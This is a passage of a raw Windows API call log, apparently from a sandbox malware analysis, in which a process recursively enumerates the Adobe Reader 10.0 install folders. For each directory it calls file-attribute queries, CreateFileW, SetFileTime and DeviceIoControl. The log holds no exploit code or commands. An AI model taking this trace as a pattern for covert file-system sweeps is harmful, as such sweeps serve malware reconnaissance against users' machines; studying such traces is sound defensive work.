out: hFindFile=0x4fd6a0) returned 1 [0250.744] GetLastError () returned 0x12 [0250.745] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0250.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0250.745] CreateFileW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0250.745] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0250.745] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0250.745] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd460 [0250.745] GetLastError () returned 0x12 [0250.745] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd6a0 [0250.745] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0250.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf40b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf40b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0250.746] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0250.746] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0250.746] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0250.746] GetLastError () returned 0x12 [0250.746] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0250.746] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0250.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0250.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0250.746] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.746] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.747] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0250.784] GetLastError () returned 0x12 [0250.784] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0250.785] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0250.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0250.832] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.832] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.833] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd460 [0250.833] GetLastError () returned 0x12 [0250.833] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.833] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0250.833] GetLastError () returned 0x12 [0250.833] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0250.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.833] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.833] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.833] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.876] GetLastError () returned 0x12 [0250.876] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd460 [0250.876] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.923] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.923] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.924] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.972] GetLastError () returned 0x12 [0250.972] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.972] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.973] GetLastError () returned 0x12 [0250.973] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.973] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.974] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.974] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.974] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0251.017] GetLastError () returned 0x12 [0251.017] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0251.017] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.017] GetLastError () returned 0x12 [0251.017] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.042] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.042] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.042] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0251.069] GetLastError () returned 0x12 [0251.069] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0251.070] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.075] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.075] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.075] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.075] GetLastError () returned 0x12 [0251.075] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.075] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.076] GetLastError () returned 0x12 [0251.076] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.126] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.126] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.126] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.127] GetLastError () returned 0x12 [0251.127] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.127] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.127] GetLastError () returned 0x12 [0251.127] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.127] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.160] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.160] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.160] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.161] GetLastError () returned 0x12 [0251.161] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.161] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.161] GetLastError () returned 0x12 [0251.161] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.189] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.189] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.189] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.190] GetLastError () returned 0x12 [0251.190] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.190] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.190] GetLastError () returned 0x12 [0251.190] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.190] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, 